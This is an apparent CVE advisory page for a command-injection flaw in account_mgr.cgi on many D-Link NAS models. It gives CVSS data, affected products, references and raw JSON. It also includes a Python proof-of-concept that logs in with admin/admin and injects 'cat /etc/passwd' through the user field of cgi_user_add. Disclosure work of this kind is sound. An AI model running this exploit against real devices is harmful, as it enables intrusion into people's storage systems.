CVE-2026-4209

Description

A vulnerability was identified in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected is the function cgi_create_import_users/cgi_user_batch_create/cgi_user_set_quota/cgi_user_del/cgi_user_modify/cgi_group_set_quota/cgi_group_modify/cgi_group_add/cgi_user_add/cgi_get_modify_group_info/cgi_chg_admin_pw of the file /cgi-bin/account_mgr.cgi. The manipulation leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-202l:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dnr-326_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-326:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1100-4_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1100-4:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1200-05_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1200-05:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DNS-120 < 20260205

D-Link DNR-202L < 20260205

D-Link DNS-315L < 20260205

D-Link DNS-320 < 20260205

D-Link DNS-320L < 20260205

D-Link DNS-320LW < 20260205

D-Link DNS-321 < 20260205

D-Link DNR-322L < 20260205

D-Link DNS-323 < 20260205

D-Link DNS-325 < 20260205

D-Link DNS-326 < 20260205

D-Link DNS-327L < 20260205

D-Link DNR-326 < 20260205

D-Link DNS-340L < 20260205

D-Link DNS-343 < 20260205

D-Link DNS-345 < 20260205

D-Link DNS-726-4 < 20260205

D-Link DNS-1100-4 < 20260205

D-Link DNS-1200-05 < 20260205

D-Link DNS-1550-04 < 20260205

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-4209 PoC - D-Link account_mgr.cgi Command Injection
# Target: D-Link NAS devices (DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04)

target_ip = "192.168.1.1"  # Target device IP
target_port = 80
username = "admin"
password = "admin"

def exploit_cve_2026_4209():
    """
    Exploit for CVE-2026-4209: Command Injection in D-Link account_mgr.cgi
    Affected functions: cgi_create_import_users, cgi_user_batch_create, cgi_user_set_quota,
                       cgi_user_del, cgi_user_modify, cgi_group_set_quota, cgi_group_modify,
                       cgi_group_add, cgi_user_add, cgi_get_modify_group_info, cgi_chg_admin_pw
    """
    # Login to get session
    login_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi"
    login_data = {
        "cmd": "cgi_login",
        "username": username,
        "password": password
    }
    
    session = requests.Session()
    try:
        # Attempt login
        response = session.post(login_url, data=login_data, timeout=10)
        
        # Inject command via cgi_user_add function
        # Payload: inject arbitrary command via user parameter
        inject_data = {
            "cmd": "cgi_user_add",
            "user": "testuser; cat /etc/passwd > /tmp/pwned.txt",  # Command injection payload
            "group": " administrators "
        }
        
        exploit_response = session.post(login_url, data=inject_data, timeout=10)
        print(f"Exploit sent. Status code: {exploit_response.status_code}")
        print(f"Response: {exploit_response.text}")
        
        # Verify exploitation by checking if command was executed
        verify_url = f"http://{target_ip}:{target_port}/cgi-bin/account_mgr.cgi"
        verify_data = {
            "cmd": "cgi_get_modify_group_info",
            "group": " administrators "
        }
        verify_response = session.post(verify_url, data=verify_data, timeout=10)
        print(f"Verification response: {verify_response.text}")
        
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

if __name__ == "__main__":
    print("CVE-2026-4209 D-Link Command Injection Exploit")
    print("Target: account_mgr.cgi")
    exploit_cve_2026_4209()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4209
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4209
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4209/
[4] VulDB https://vuldb.com/cve/CVE-2026-4209
[5] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_148/148.md
[6] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_149/149.md
[7] https://vuldb.com/?ctiid.351120
[8] https://vuldb.com/?id.351120
[9] https://vuldb.com/?submit.770429
[10] https://vuldb.com/?submit.770430
[11] https://vuldb.com/?submit.770431
[12] https://vuldb.com/?submit.770432
[13] https://vuldb.com/?submit.770433
[14] https://vuldb.com/?submit.770434

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4209", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:06.803", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected is the function cgi_create_import_users/cgi_user_batch_create/cgi_user_set_quota/cgi_user_del/cgi_user_modify/cgi_group_set_quota/cgi_group_modify/cgi_group_add/cgi_user_add/cgi_get_modify_group_info/cgi_chg_admin_pw of the file /cgi-bin/account_mgr.cgi. The manipulation leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta el 20260205. La función afectada es cgi_create_import_users/cgi_user_batch_create/cgi_user_set_quota/cgi_user_del/cgi_user_modify/cgi_group_set_quota/cgi_group_modify/cgi_group_add/cgi_user_add/cgi_get_modify_group_info/cgi_chg_admin_pw del archivo /cgi-bin/account_mgr.cgi. La manipulación conduce a inyección de comandos. Es posible iniciar el ataque de forma remota. El exploit está disponible públicamente y podría ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": ... (truncated)